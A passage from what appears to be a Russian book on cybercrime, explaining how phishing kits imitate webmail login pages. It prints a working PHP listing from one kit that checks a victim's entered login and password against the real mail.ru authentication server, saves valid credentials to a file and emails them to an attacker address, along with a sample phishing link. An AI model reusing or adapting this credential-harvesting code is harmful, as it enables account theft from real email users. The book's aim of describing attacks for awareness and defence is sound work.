Читаем Особенности киберпреступлений в России: инструменты нападения и защиты информации полностью

Рис 1.33.Фрагмент содержимого файла view.php

В данном примере злоумышленник определяет страницу (параметр $fake), на которой находится главная страница фишинг-движка. В тегах для поддержания легенды указывает имя файла, который очень хочет посмотреть пользователь, здесь он schet.pdf.

При подготовке ссылки на страницу с использованием такого фишинг-движка злоумышленник так же, как и в первом рассмотренном примере, посредством ассоциативного массива параметров передает данные о логине пользователя и якобы присланном ему файле:

http://localhost/view2.php?id=schet.pdf&login=pochtauser&server=gmail-files

Фишинг-движок изнутри. Пример 3

Рассмотрим другой пример фэйка.

Интересен он тем, что в нем добавлена функция проверки правильности введенного пароля пользователем.

Автоматическая проверка похищенного пароля

Происходит это посредством функции fsockopen, которая внедрена в файл index.php этого движка.

Интерфейс движка (см. рис. 134) также был бессовестно позаимствован у официального сервиса[22] с одной лишь только целью — ввести в заблуждение пользователя и не дать ему повода засомневаться, что вводимые им данные (пароль) могут отправиться куда-либо, кроме официального почтового сервера.

Рис. 1.34.Интерфейс фэйка

Функция проверки корректности вводимых жертвой данных была введена ленивыми хакерами, которые делают фонтаны рассылок — слепых фишинговых атак — и лишний раз не хотят расстраиваться, если пользователь во время того, как его пароль пытались спереть, «очепятался» при вводе своего логина или пароля.

Фрагмент листинга, осуществляющего проверку вводимых данных:

$valid_file = "stoun.php";

$invalid_file = "inv.php";

$email = "testadm986@mail.ru";

$location = "http://mail.ru";

$login = @$_POST['login'];

$pass = @$_POST['password'];

$domain = @$_POST['domain'];

if($login == "" || $pass == "" || $domain == "") header("Location: index.php?test&login=".$login.'&domain='.$domain);

$fp = fsockopen ("ssl://auth.mail.ru", 443, $errno, $errstr, 300); $poststr = "page=&post=&login_from=⟨=&Login=".urlencode($login)."&Do main=$domain&Password=".urlencode($pass)."&level=0";

$post = "POST /cgi-bin/auth HTTP/1.1\r\n";

$post.= "Host: auth.mail.ru\r\n";

$post.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729)\r\n";

$post.= "Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8\r\n";

$post.= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

$post.= "Accept-Encoding: gzip,deflate\r\n";

$post.= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";

$post.= "Keep-Alive: 115\r\n";

$post.= "Connection: keep-alive\r\n";

$post.= "Content-Type: application/x-www-form-urlencoded\r\n";

$post.= "Content-Length: ".strlen($poststr)."\r\n\r\n";

$post.= "$poststr\r\n\r\n";

$out1 = ''; if (!$fp) {

echo "$errstr ($errno)
\n";

} else {

fputs ($fp, $post); for($i=0;$i<11;$i++)

{

$out1.= fgets ($fp,512);

}

}

fclose ($fp);

$status = pars($out1, "Set-Cookie: Mpop=", ";");

if ($status!= "") { if($valid_file!= "")

{

$file = fopen($valid_file, 'a'); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file);

}

if($email!= "") mail($email, "Data from mail.ru", "$login@$domain:$pass");

header('Location: '.$location);

Перейти на страницу:

Похожие книги